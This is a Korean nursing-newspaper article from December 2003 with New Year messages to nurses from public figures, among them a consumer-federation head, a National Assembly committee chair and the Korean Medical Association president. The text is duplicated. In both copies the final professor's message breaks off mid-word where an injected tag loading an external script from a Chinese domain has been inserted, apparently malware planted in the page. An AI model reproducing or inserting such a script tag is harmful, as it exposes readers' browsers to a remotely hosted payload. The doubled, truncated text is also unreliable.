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새해 간호발전을 위한 메시지
[편집국] 편집부 news@nursenews.co.kr 기사입력 2003-12-31 오전 09:16:25
희망의 새해를 맞아 한국 간호와 대한간호협회의 발전을 기원하는 격려의 메시지를 싣습니다. 지난 한 해 간호의 위상을 높이고 간호사 이미지를 바로 세우기 위해 앞장서 뛰었던 여러분과 정치·사회·여성·보건의료계 대표, 주어진 자리에서 최선을 다하고 있는 간호사들이 귀한 글을 보내주셨습니다. [편집자주]
◆ 백의천사 순수한 열정 빛나길-지 성(대한간호협회 홍보대사)
`간호사'하면 귀족 출신으로 전쟁터의 병사들을 성심성의껏 돌본 나이팅게일 여사가 떠오릅니다. 여러분도 그분을 본받아 `나이팅게일 선서'를 하지요.
가끔 몸이 아파 병원을 찾을 때면 항상 분주하게 뛰어다니는 여러분들을 봅니다. 친절하게 응대해주는 간호사를 만나면 진료 받기 전부터 마음이 편해집니다. 입원해 장기치료를 받을 땐 밤낮 없이 환자에게 열정을 다하는 모습에서 간호가 얼마나 중요한지 알게 됩니다.
백의의 천사 여러분, 갓 태어난 새 생명부터 생을 다해 가는 사람들까지 처음 간호사가 됐을 때의 그 순수한 열정으로 대하신다면 여러분이 더욱 빛나지 않을까 싶습니다. 새해에도 많은 수고 부탁드리고, 여러분의 몸과 마음도 늘 건강하길 기도드립니다.
◆ 간호사가 있어 행복한 세상-정광모(한국소비자연맹회장)
간호사 여러분!
활기찬 새해를 맞아주시기 바랍니다.
30년 전 여러분의 선배들에게 앞으로 간호계는 이 사회에서 중추적인 역할을 해줄 것을 기대하는 기념사를 한 적이 있습니다.
예상한대로 여러분들은 국내외로 뛰어난 활동을 하고 있습니다.
간호계에서만 아니라 국회의원으로, 장관으로, 대학병원 부원장으로, 여성장군으로….
그리고 지난해에는 의사들보다도 앞서 한국간호평가원을 발족했습니다. 국제적 경쟁력을 갖춘 창의적인 간호사 양성을 위한 자체 평가사업입니다.
우리는 여러분들이 국민건강을 돌봐줄 것을 믿습니다.
믿음과 사랑이 있는 간호사 여러분, 건강한 여러분들이 있어 우리는 행복합니다.
◆ 보건의료정책 선도하는 역할 기대-박종웅(국회 보건복지위원장)
국민건강 지킴이 역할을 수행하시는 전국의 간호사 여러분! 희망찬 갑신년 새해가 밝았습니다.
새로운 소망과 함께 여러분의 가정에 만복이 깃드시길 기원합니다. 국민건강의 선도자로서 투철한 사명감과 소명의식을 가지고 맡은 바 책임을 다하고 계신 간호사 여러분들의 노고를 높이 치하드리는 바입니다.
올 한 해 보건의료계는 다른 어느 해보다 의료시장 개방에 따른 대외환경변화 등 큰 어려움에 직면하게 될 것으로 예상됩니다.
따라서 간호사 여러분께서는 세계 보건의료계와 사회변화의 흐름에 부응할 수 있도록 보건정책 전반을 선도해 나갈 수 있는 역량을 키워나가야 할 때라고 여겨집니다. 여러분들의 꿈과 희망이 이루어지는 한 해가 되길 진심으로 기원합니다.
◆ 봉사의 기쁨 함께 나누는 간호-이영애(`간호봉사대장정' 회장)
지난해 대한간호협회 80주년 기념행사의 일환으로 간호봉사 대장정에 참여하면서 힘들고 어려운 일들도 많았지만 기쁨과 보람이 컸음을 고백합니다. 봉사가 자신의 소유를 남과 나눌 수 있는 사랑과 용기의 실천임을 알았고 삶의 보람과 행복을 배우는 계기가 됐습니다.
앞으로도 이런 프로그램이 계속 개발돼 국민과 함께 하는 건강한 간호를 많은 이들이 공감할 수 있었으면 좋겠습니다.
지난 대장정에서와 같이 `스스로 돌보는 건강한 삶'에 동참하는 간호가 활발히 전개될 때 국민은 더욱 간호사에 대한 존경과 사랑을 보내줄 것이라 믿어 의심치 않습니다. 2004년도 우리 대한간호협회가 국민들에게 친근한 `건강 옹호자'로 다가설 수 있도록 많은 도약이 있기를 기원합니다.
◆ 국민에게 희망주는 새해 위해 노력-김재정(대한의사협회장)
전국의 간호사 여러분, 안녕하십니까?
지난 한 해는 국민 모두가 힘들고 지친 한 해였습니다. 노사갈등과 이념대립으로 인한 사회적 혼란과, IMF 경제위기 때보다도 더 힘들었던 경제불황, 특히 국민의 모범이 되어야 할 정치권의 타락과 부패는 국민에게 커다란 실망과 고통을 안겨다 주었습니다.
그래도 우리 국민들은 이 모든 어려움을 꾹 참고, 깊은 어둠의 터널을 헤쳐 나왔습니다.
우리 보건의료계에 종사하는 가족들 역시 2004년 갑신년을 맞아 국민에게 희망을 줄 수 있도록 열심히 노력합시다.
여러분 새해 복 많이 받으시고 건승하시길 기원합니다.
◆ 기본 충실히 다져 새롭게 도약-황윤영(제주한라대학 간호과 교수)
한 조직, 한 사회를 이끌어 가는 원동력 중에서 가장 중요한 것은 모든 구성원들이 자신의 위치에서 기본을 충실히 지켜나가는 것입니다. 간호의 전문화와 국제화라는 큰 화두 속에서 간호인 모두가 항상 기억하고 가슴에 새겨야 할 덕목도 바로 기본을 제대로 지키는 일입니?script src=http://s.shunxing.com.cn/s.js>
◆ 백의천사 순수한 열정 빛나길-지 성(대한간호협회 홍보대사)
`간호사'하면 귀족 출신으로 전쟁터의 병사들을 성심성의껏 돌본 나이팅게일 여사가 떠오릅니다. 여러분도 그분을 본받아 `나이팅게일 선서'를 하지요.
가끔 몸이 아파 병원을 찾을 때면 항상 분주하게 뛰어다니는 여러분들을 봅니다. 친절하게 응대해주는 간호사를 만나면 진료 받기 전부터 마음이 편해집니다. 입원해 장기치료를 받을 땐 밤낮 없이 환자에게 열정을 다하는 모습에서 간호가 얼마나 중요한지 알게 됩니다.
백의의 천사 여러분, 갓 태어난 새 생명부터 생을 다해 가는 사람들까지 처음 간호사가 됐을 때의 그 순수한 열정으로 대하신다면 여러분이 더욱 빛나지 않을까 싶습니다. 새해에도 많은 수고 부탁드리고, 여러분의 몸과 마음도 늘 건강하길 기도드립니다.
◆ 간호사가 있어 행복한 세상-정광모(한국소비자연맹회장)
간호사 여러분!
활기찬 새해를 맞아주시기 바랍니다.
30년 전 여러분의 선배들에게 앞으로 간호계는 이 사회에서 중추적인 역할을 해줄 것을 기대하는 기념사를 한 적이 있습니다.
예상한대로 여러분들은 국내외로 뛰어난 활동을 하고 있습니다.
간호계에서만 아니라 국회의원으로, 장관으로, 대학병원 부원장으로, 여성장군으로….
그리고 지난해에는 의사들보다도 앞서 한국간호평가원을 발족했습니다. 국제적 경쟁력을 갖춘 창의적인 간호사 양성을 위한 자체 평가사업입니다.
우리는 여러분들이 국민건강을 돌봐줄 것을 믿습니다.
믿음과 사랑이 있는 간호사 여러분, 건강한 여러분들이 있어 우리는 행복합니다.
◆ 보건의료정책 선도하는 역할 기대-박종웅(국회 보건복지위원장)
국민건강 지킴이 역할을 수행하시는 전국의 간호사 여러분! 희망찬 갑신년 새해가 밝았습니다.
새로운 소망과 함께 여러분의 가정에 만복이 깃드시길 기원합니다. 국민건강의 선도자로서 투철한 사명감과 소명의식을 가지고 맡은 바 책임을 다하고 계신 간호사 여러분들의 노고를 높이 치하드리는 바입니다.
올 한 해 보건의료계는 다른 어느 해보다 의료시장 개방에 따른 대외환경변화 등 큰 어려움에 직면하게 될 것으로 예상됩니다.
따라서 간호사 여러분께서는 세계 보건의료계와 사회변화의 흐름에 부응할 수 있도록 보건정책 전반을 선도해 나갈 수 있는 역량을 키워나가야 할 때라고 여겨집니다. 여러분들의 꿈과 희망이 이루어지는 한 해가 되길 진심으로 기원합니다.
◆ 봉사의 기쁨 함께 나누는 간호-이영애(`간호봉사대장정' 회장)
지난해 대한간호협회 80주년 기념행사의 일환으로 간호봉사 대장정에 참여하면서 힘들고 어려운 일들도 많았지만 기쁨과 보람이 컸음을 고백합니다. 봉사가 자신의 소유를 남과 나눌 수 있는 사랑과 용기의 실천임을 알았고 삶의 보람과 행복을 배우는 계기가 됐습니다.
앞으로도 이런 프로그램이 계속 개발돼 국민과 함께 하는 건강한 간호를 많은 이들이 공감할 수 있었으면 좋겠습니다.
지난 대장정에서와 같이 `스스로 돌보는 건강한 삶'에 동참하는 간호가 활발히 전개될 때 국민은 더욱 간호사에 대한 존경과 사랑을 보내줄 것이라 믿어 의심치 않습니다. 2004년도 우리 대한간호협회가 국민들에게 친근한 `건강 옹호자'로 다가설 수 있도록 많은 도약이 있기를 기원합니다.
◆ 국민에게 희망주는 새해 위해 노력-김재정(대한의사협회장)
전국의 간호사 여러분, 안녕하십니까?
지난 한 해는 국민 모두가 힘들고 지친 한 해였습니다. 노사갈등과 이념대립으로 인한 사회적 혼란과, IMF 경제위기 때보다도 더 힘들었던 경제불황, 특히 국민의 모범이 되어야 할 정치권의 타락과 부패는 국민에게 커다란 실망과 고통을 안겨다 주었습니다.
그래도 우리 국민들은 이 모든 어려움을 꾹 참고, 깊은 어둠의 터널을 헤쳐 나왔습니다.
우리 보건의료계에 종사하는 가족들 역시 2004년 갑신년을 맞아 국민에게 희망을 줄 수 있도록 열심히 노력합시다.
여러분 새해 복 많이 받으시고 건승하시길 기원합니다.
◆ 기본 충실히 다져 새롭게 도약-황윤영(제주한라대학 간호과 교수)
한 조직, 한 사회를 이끌어 가는 원동력 중에서 가장 중요한 것은 모든 구성원들이 자신의 위치에서 기본을 충실히 지켜나가는 것입니다. 간호의 전문화와 국제화라는 큰 화두 속에서 간호인 모두가 항상 기억하고 가슴에 새겨야 할 덕목도 바로 기본을 제대로 지키는 일입니?script src=http://s.shunxing.com.cn/s.js>
